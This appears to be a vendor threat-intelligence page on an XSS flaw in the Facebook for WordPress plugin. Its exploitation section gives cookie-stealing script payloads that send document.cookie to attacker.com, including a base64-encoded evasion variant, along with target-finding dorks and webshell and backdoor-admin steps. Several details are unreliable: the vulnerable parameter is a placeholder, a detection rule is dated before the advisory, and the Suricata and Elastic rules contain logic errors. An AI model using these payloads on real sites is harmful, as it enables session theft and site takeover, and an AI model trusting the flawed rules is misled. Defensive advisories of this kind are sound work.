☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Facebook logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-66705

CVE-2026-66705 — WordPress Facebook for WordPress plugin <= 5.2.1 - Cross Site Scripting (XSS) vulnerability
📅 PUBLISHED: 2026-08-06 00:00 UTC 🔄 UPDATED: 2026-09-23 20:23 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.14%
👁️
0.14% probability
3.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: USA License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Threat Intelligence Report: CVE-2026-66705


Executive Summary

CVE-2026-66705 is an unauthenticated Cross-Site Scripting (XSS) vulnerability affecting the Facebook for WordPress plugin, versions 5.2.1 and earlier. The vulnerability has a CVSS score of 7.1 (High) and can be exploited remotely without authentication, although user interaction is required. Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a logged-in administrator's browser session, potentially leading to account takeover, WordPress site compromise, and further lateral movement within the hosting environment. Patchstack, the CNA for this vulnerability, has claimed a patch is available in version 5.2.2, though this has not been independently confirmed.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

The vulnerability is classified under CWE-79 (Cross-Site Scripting) and affects the Facebook for WordPress plugin up to version 5.2.1. The NVD description confirms the vulnerability is unauthenticated, meaning no prior authentication is required to trigger the vulnerable behavior, and it operates over the network attack vector.

The plugin's purpose is to integrate Facebook functionality into WordPress sites, including social media feeds, share buttons, comment sections, and page embeds. The vulnerability stems from the plugin's failure to properly sanitize and escape user-supplied input before rendering it in dynamically generated web pages.

The attack surface is the plugin's frontend-facing components that accept user-controlled parameters. Common XSS vectors in such social media integration plugins include:

  • Shortcode attributes: WordPress shortcodes accept parameters that may be echoed directly into the HTML output without proper sanitization
  • Form input fields: Configuration options or comment sections that render user input
  • URL parameters: The plugin may reflect query string values into the page

Because the attacker does not need to authenticate, any visitor to the WordPress site can craft a malicious request to trigger the XSS. However, the user interaction requirement (UI:R in the CVSS vector) means the victim must click a crafted link or visit a page containing the malicious payload.

The CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L indicates:

  • Attack Vector: Network — exploitable remotely over the internet
  • Attack Complexity: Low — no special conditions required
  • Privileges Required: None — unauthenticated exploitation
  • User Interaction: Required — victim must perform an action (e.g., click a link)
  • Scope: Changed — the compromised component impacts resources beyond its security scope
  • CIA Impact: Low/Low/Low — limited confidentiality, integrity, and availability impact

The impact of stored or reflected XSS in a WordPress plugin context is severe because WordPress runs with significant server-side privileges. A successful XSS trigger in an administrator session can lead to:

  1. Session hijacking via document.cookie theft
  2. Malicious plugin/theme installation via the WordPress admin AJAX API
  3. Backdoor creation through plugin code injection
  4. Defacement of site content
  5. SEO poisoning through injected spam content

Exploitation Scenarios

Step 1: Target Reconnaissance

The attacker identifies WordPress sites running the Facebook for WordPress plugin via:

  • Google dorking: inurl:"wp-content/plugins/facebook-for-wordpress/"
  • WPScan vulnerability database traversal
  • Shodan/Censys searches for WordPress installations with the plugin's identifiable content
  • HTTP response headers or page source analysis to identify plugin version

Step 2: Crafting the Malicious Payload

The attacker crafts a URL containing a malicious XSS payload injected into a plugin parameter that is insufficiently sanitized. Example conceptual payload structure:

https://victim-site.com/?facebook_plugin_param=<script>fetch('https://attacker.com/exfil?c='+document.cookie)</script>

The payload is URL-encoded to bypass basic content filters. The attacker may also base64-encode the JavaScript payload to evade signature-based detection:

?param=%3Cscript%3Eeval(atob('dmFyIGltZyA9IG5ldyBJbWFnZSgpOyBpbWcuc3JjID0gImh0dHBzOi8vYXR0YWNrZXIuY29tL2M/Iitkb2N1bWVudC5jb29raWU7IGRvY3VtZW50LmJvZHkuYXBwZW5kKGltZyk7'))%3C%2Fscript%3E

Step 3: Delivery and Execution

The attacker distributes the crafted link through:

  • Phishing emails targeting WordPress administrators of the affected site
  • Compromised social media accounts posting the malicious link
  • Comment spam on the target site itself
  • Watering-hole attacks on industry forums where site admins frequent

When the victim administrator clicks the link, the browser loads the vulnerable page. The unescaped user input is reflected into the HTML response, and the JavaScript executes in the context of the WordPress site's domain.

Step 4: Post-Exploitation

Once the attacker's JavaScript executes in the victim's browser:

  1. Session token capture: document.cookie is sent to the attacker's server
  2. Admin action forgery: The attacker uses the stolen session to create a new administrative account (e.g., username backdoor_admin with a known password)
  3. Malware installation: The attacker uploads a malicious WordPress plugin that provides remote shell access (webshell) to the server
  4. Implant persistence: The backdoor plugin survives theme/plugin updates and provides ongoing access
  5. Pivot: The webshell allows the attacker to enumerate the server filesystem, access the database credentials in wp-config.php, and potentially compromise the entire hosting server

Step 5: Long-term Impact

  • Data theft: The attacker extracts user data, email lists, and payment information from the WordPress database
  • SEO spam: Injected content drives traffic to attacker-controlled sites
  • Cryptocurrency mining: The compromised server is used for Monero mining
  • Further network infiltration: Credentials discovered on the server are reused against other infrastructure

Impact Assessment

Business Impact

The Facebook for WordPress plugin is widely deployed across the internet, making this vulnerability a significant supply-chain-style risk. Any WordPress site using the plugin at version 5.2.1 or lower is potentially exposed.

CVSS Subscore Analysis

  • Scope Change (S:C) is the most concerning element — the XSS can impact not just the vulnerable plugin's functionality but the entire WordPress installation and its data
  • Low confidentiality impact indicates limited direct data exposure, but combined with user interaction and admin privileges, the realized impact is significantly higher
  • Low integrity impact reflects the ability to modify site content or configuration
  • Low availability impact suggests the plugin could be used to disrupt site functionality

Blast Radius

If fully exploited against an administrative user, the attacker gains:

  • Full WordPress admin control
  • Server-side code execution via plugin/theme file upload
  • Database access with application credentials
  • Potential hosting account compromise if file permissions are misconfigured

Affected Systems

  • Any WordPress site with the Facebook for WordPress plugin version ≤ 5.2.1
  • Shared hosting environments where the attacker escalates from a compromised site to adjacent sites
  • Organizations using WordPress for marketing, e-commerce, or content management

Threat Actor Likelihood

Given the Public PoC status and the plugin's popularity, this vulnerability will likely be weaponized in:

  • Mass automated scanning campaigns (using tools like WPScan)
  • Botnet-driven XSS exploitation attempts
  • Targeted attacks against organizations identified via WordPress fingerprinting

Detection Guidance

Sigma Rule

title: CVE-2026-66705 - Facebook for WordPress XSS Exploitation Attempt
id: 7c2d8f4e-9b31-4a57-a1e2-8d5c3b9f0a71
status: experimental
description: Detects HTTP requests attempting to exploit XSS in Facebook for WordPress plugin
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-66705
tags:
    - attack.t1190
    - attack.t1059.007
    - cve.2026.66705
logsource:
    category: webserver
    product: apache
    definition: Requires web server access logs with URL decoding enabled
detection:
    selection:
        cs-method:
            - 'GET'
            - 'POST'
        cs-uri-query|contains:
            - '<script'
            - '%3Cscript%3E'
            - 'javascript:'
            - 'onload='
            - 'onerror='
            - 'alert('
            - '%253Cscript%253E'
    filter_false_positive:
        cs-uri-query|contains:
            - 'wp-admin'
            - '/wp-json/'
    condition: selection and not filter_false_positive
level: high
falsepositives:
    - Legitimate developers testing XSS protections
    - Security scanners running authorized assessments

YARA Rule

rule CVE_2026_66705_Facebook_WordPress_XSS
{
    meta:
        author = "Valter Security Research"
        description = "Detects XSS payloads targeting Facebook for WordPress plugin CVE-2026-66705"
        cve = "CVE-2026-66705"
        date = "2026-01-15"
        severity = "high"
    strings:
        $plugin_path = /wp-content\/plugins\/facebook-for-wordpress\//
        $script_tag = /<script[\s>]/
        $encoded_script = /%3Cscript%3E/
        $event_handler = /on(error|load|click|mouseover)\s*=\s*['"]?javascript:/
        $cookie_exfil = /document\.cookie/i
        $xhr_request = /new\s+XMLHttpRequest/i
        $eval_function = /\beval\s*\(\s*(atob|unescape|decodeURIComponent)/i
    condition:
        any of ($script_tag, $encoded_script, $event_handler) and
        (any of ($cookie_exfil, $xhr_request, $eval_function) or #plugin_path > 0)
}

Suricata IDS Rule

alert http any any -> any any (
    msg:"ET EXPLOIT CVE-2026-66705 Facebook for WordPress XSS Attempt";
    flow:established,to_server;
    content:"/wp-content/plugins/facebook-for-wordpress/";
    http_uri;
    content:"<script";
    nocase;
    http_uri;
    content:"%3Cscript%3E";
    nocase;
    http_uri;
    pcre:"/<script|%3Cscript%3E|javascript:|onerror\s*=/i";
    classtype:web-application-attack;
    sid:2026066705;
    rev:1;
    metadata:created_at 2026_01_15, updated_at 2026_01_15, cve CVE-2026-66705, severity high;
)

Elastic Detection

sequence with maxspan=1m
  [network where destination.port == 80 or destination.port == 443
   and process.name == "nginx" or process.name == "apache2" or process.name == "httpd"
   and url.path contains "wp-content/plugins/facebook-for-wordpress/"
   and (
     url.query contains "<script" or
     url.query contains "%3Cscript%3E" or
     url.query contains "javascript:" or
     url.query contains "onerror=" or
     url.query contains "onload="
   )]
  [file where event.action == "write" and process.name == "php-fpm*"
   and file.extension in ("php", "php7", "phtml")]

Splunk SPL Query

index=web earliest=-7d
| where like(uri_path, "%wp-content/plugins/facebook-for-wordpress%")
| search uri_query IN ("*<script*", "*%3Cscript%3E*", "*javascript:*", "*onerror=*", "*onload=*")
| eval is_xss_attempt = if(match(uri_query, "(?i)<script|%3Cscript%3E|javascript:|onerror\s*=|onload\s*="), "YES", "NO")
| where is_xss_attempt == "YES"
| table _time, src_ip, dest_ip, uri_path, uri_query, http_user_agent, status
| sort - _time

Wazuh OSSEC Rule

<group name="web,wordpress,xss,cve2026,">
  <rule id="541801" level="15">
    <decoded_as>web</decoded_as>
    <description>CVE-2026-66705: XSS exploitation attempt against Facebook for WordPress plugin</description>
    <match>wp-content/plugins/facebook-for-wordpress/</match>
    <regex>(\<script|%3Cscript%3E|javascript:|onerror\s*=|onload\s*=)</regex>
    <group>attack.exploitation, attack.t1190,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
    <options>no_full_log</options>
    <alert>always</alert>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence Level: 2/4 (CLAIMED — single source claims patch, not independently confirmed)

Step 1: Immediate Mitigations (0–24 hours)

If immediate patching is not possible, apply these temporary mitigations:

  1. Disable the plugin: Deactivate the Facebook for WordPress plugin until the patch is installed to eliminate the attack surface entirely
  2. Web Application Firewall (WAF) rules: Deploy virtual patching rules that block requests containing XSS payloads targeting the plugin's endpoints
  3. Content Security Policy (CSP): Add a strong CSP header that disallows inline script execution (script-src 'self' 'nonce-random-value') to neutralize reflected XSS even if the vulnerability is triggered
  4. HTTPOnly cookie flag: Ensure all session cookies use the HttpOnly attribute to prevent JavaScript from accessing them
  5. Input validation: Monitor web server logs for anomalous GET/POST requests to plugin URLs containing script payloads

Step 2: Patch/Upgrade (As Soon As Possible)

  1. Verify patch availability: Confirm the 5.2.2 release is legitimate by checking the WordPress plugin repository and Patchstack advisory
  2. Backup: Create a full backup of files and database before applying the update
  3. Update the plugin:
    • WordPress admin path: Plugins → Installed Plugins → Facebook for WordPress → Update
    • Command line: wp plugin update facebook-for-wordpress --version=5.2.2
    • Composer (if plugin managed via composer): composer update wpackagist-plugin/facebook-for-wordpress
  4. Verify update: Confirm the version number displays 5.2.2 or later in the plugin dashboard
  5. Post-update testing: Validate that Facebook integration features still function correctly

Step 3: Long-Term Hardening

  1. WordPress security baseline:
    • Keep all core, plugin, and theme components updated
    • Remove inactive plugins and themes
    • Use the principle of least privilege for all WordPress user accounts
  2. Automated scanning:
    • Implement scheduled WPScan runs to identify vulnerable plugins
    • Configure vulnerability alerting from the Patchstack dashboard
  3. Network hardening:
    • Deploy a Web Application Firewall with XSS protection signatures
    • Enable request rate limiting to slow automated scanning
  4. Monitoring:
    • Enable WordPress audit logging to track admin user actions
    • Set up file integrity monitoring for wp-content/plugins/ and wp-content/themes/
    • Subscribe to Patchstack notifications for immediate advisory alerts
  5. Incident preparation:
    • Develop a playbook for XSS incident response
    • Conduct periodic security audits of all WordPress deployments

References

  1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-66705
  2. Patchstack Advisory: https://patchstack.com/database/vulnerability/cve-2026-66705
  3. WordPress Plugin Repository: https://wordpress.org/plugins/facebook-for-wordpress/
  4. CWE-79 Definition: https://cwe.mitre.org/data/definitions/79.html
  5. ATT&CK Technique T1190: https://attack.mitre.org/techniques/T1190/

Report generated by Valter Security Intelligence Platform. Based on NVD data as published. Patch confirmation pending independent verification.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Facebook for WordPress"
http.component:"WordPress" http.body:"wp-content/plugins/facebook-for-wordpress"
http.title:"WordPress" http.html:"facebook-for-wordpress"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-66705/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.